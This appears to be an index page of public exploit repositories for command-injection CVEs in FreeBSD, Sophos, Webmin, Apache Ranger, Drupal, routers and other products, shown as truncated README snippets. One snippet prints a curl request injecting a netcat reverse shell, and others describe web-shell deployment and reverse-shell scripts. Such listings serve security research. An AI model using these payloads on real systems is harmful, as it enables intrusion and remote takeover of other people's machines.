CVE-2025-14558

CVE-2025-14558 FreeBSD rtsold DNSSL Command Injection RCE Description rtsold8 does not validate DNSSL domain names for shell metacharacters before passing them to resolvconf8. Command substitution via $ enables remote code execution from an adjacent network. Affected: FreeBSD 13.x, 14.x, 15.x...

CVE-2023-1671

CVE-2023-1671 Pre-Auth RCE in Sophos Web Appliance Poc curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip = Send header,...

CVE-2019-15107

CVE-2019-15107 Webmin Exploit CVE-2019-15107 An issue was discovered in Webmin =1.920. The parameter old in passwordchange.cgi contains a command injection vulnerability. NVD Compiling $ git clone https://github.com/whokilleddb/CVE-2019-15107 $ cd CVE-2019-15107 $ make Example Usage $ ./exploit...

CVE-2026-28672

CVE-2026-28672 — Apache Ranger UnixUserGroupBuilder OS command injection Runnable proof-of-concept reproducer for the OS command injection in Apache Ranger's user-sync unixusersync module. While enumerating the groups of each synced user, UnixUserGroupBuilder runs the id command through a shell,...

CVE-2026-10520

CVE-2026-10520 Ivanti Sentry formerly MobileIron Sentry is an enterprise security gateway that proxies traffic between mobile devices and corporate backend resources: email, SharePoint, and internal web applications. It enforces Mobile Device Management MDM policies, terminates encrypted mobile...

CVE-2018-6961

CVE-2018-6961 Exploit in Python3 VMware NSX SD-WAN Edge by VeloCloud prior to version 3.1.0 contains a command injection vulnerability in the local web UI component. This component is disabled by default and should not be enabled on untrusted networks. VeloCloud by VMware will be removing this...

Drupalgedon3

POC for Drupal exploit SA-CORE-2018-004 / CVE-2018-7602 Author Alexandre Nguyen Usage usage: exploit.py -h --command --nodeid --url POC for Drupal vulnerability SA-CORE-2018-004 arguments: -h, --help show this help message and exit --command Command to inject --nodeid Node to target --url Drupal...

CVE-2023-0669

CVE-2023-0669 GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object. 0x00 Dork shodan title:"GoAnywhere" FOFA title="GoAnywhere" 0x01 Use Java Version java -version openjdk...

HP-HPLIP-Mass-CVE-checker-2026-09-

massexploit — HP HPLIP mass CVE checker 2026-09 Mass check and research exploit driver for HP HPLIP 3.26.6 — CVE-2026-91097 through CVE-2026-91106. CVE| CVSS 4| CWE| Remote ---|---|---|--- CVE-2026-91097| 7.0| CWE-787| yes UI CVE-2026-91098| 8.6| CWE-122| yes UI CVE-2026-91099| 5.1| CWE-61| local...

CVE-2025-69212-Exploit

CVE-2025-69212 - OpenSTAManager P7M Command Injection Exploit A fully automated exploit script for CVE-2025-69212 , a command injection vulnerability in OpenSTAManager. This script authenticates with admin credentials, deploys a malicious PHP web shell via a crafted P7M file in a ZIP archive, and...

CVE-2023-36664-Ghostscript-command-injection

Ghostscript command injection vulnerability PoC CVE-2023-36664 Vulnerability disclosed in Ghostscript prior to version 10.01.2 leads to code execution CVSS score 9.8. Official vulnerability description: Artifex Ghostscript through 10.01.2 mishandles permission validation for pipe devices with the...

CVE-2022-33891

CVE-2022-33891 - Apache Spark Command Injection Vulnerability ⚠️ For educational and authorized security research purposes only Original Exploit Authors Very grateful to the original PoC author AkbarTrilaksana Description The Apache Spark UI offers the possibility to enable ACLs via the...

CVE-2024-21683-RCE

CVE-2024-21683-RCE Credit https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated Usage git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u...

CVE-2022-21587-Oracle-EBS-

Prerequirement for this exploit to run: python3 including module requests, os, sys, slipit uuencode Before you run, make sure to use for only on ethical duties if the exploit Fail to run: Make sure you already install the pre req module install requests pip3 install requests Install slipit, git...

WebminRCE-EXP-CVE-2019-15107-

CVE-2019-15107: Exploit Modules Available for Remote Code Execution Vulnerability in Webmin 1. Vulnerability Description Webmin is a powerful web-based system administration tool, widely used on Unix systems. Due to a command injection vulnerability in the old parameter during the processing of...

CVE-2021-46422

CVE-2021-46422 SDT-CW3B1 South Korean wireless router OS cmd injection PoC Installation git clone https://github.com/ZAxyr/CVE-2021-46422.git cd CVE-2021-46422 pip3 install -r requirements.txt Usage Single URL pocsuite -r pocs/CVE-2021-46422.py -u IP Batch URLs pocsuite -r pocs/CVE-2021-46422.py ...

CVE-2021-40222

CVE-2021-40222 Application : Rittal CMC PU III Web management Devices : CMC PU III 7030.000 Software Revision : V3.11.002 Hardware Revision : V3.00 Attack type : Remote Code Execution Solution : Update to Software Revision V3.17.10 or later Summary : Web application fails to sanitize user input o...

CVE-2020-12124

CVE-2020-12124 An implementation of a proof-of-concept for CVE-2020-12124 https://vulners.com/cve/CVE-2020-12124 The following is an actualization of CVE-2020-12124, a vulnerability which exploits a command injection in the Wavlink WN530H4 router in which certain parameters are taken from URL...

CVE-2022-36553-PoC

CVE-2022-36553 - Hytec Inter HWL-2511-SS Unauthenticated Remote Command Injection. Overview This repository contains a Proof of Concept PoC reverse shell script for exploiting CVE-2022-36553, a critical vulnerability in Hytec Inter HWL-2511-SS devices. The script is a practical demonstration,...

CVE-2022-1388-Scanner

F5 CVE-2022-1388 Scanner BIG-IP iControl REST vulnerability CVE-2022-1388 Scanner Usage pip install -r requirements.txt pytohn3 CVE-2022-1388-Scanner.py Request POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive, X-F5-Auth-Token Cache-Control: max-age=0...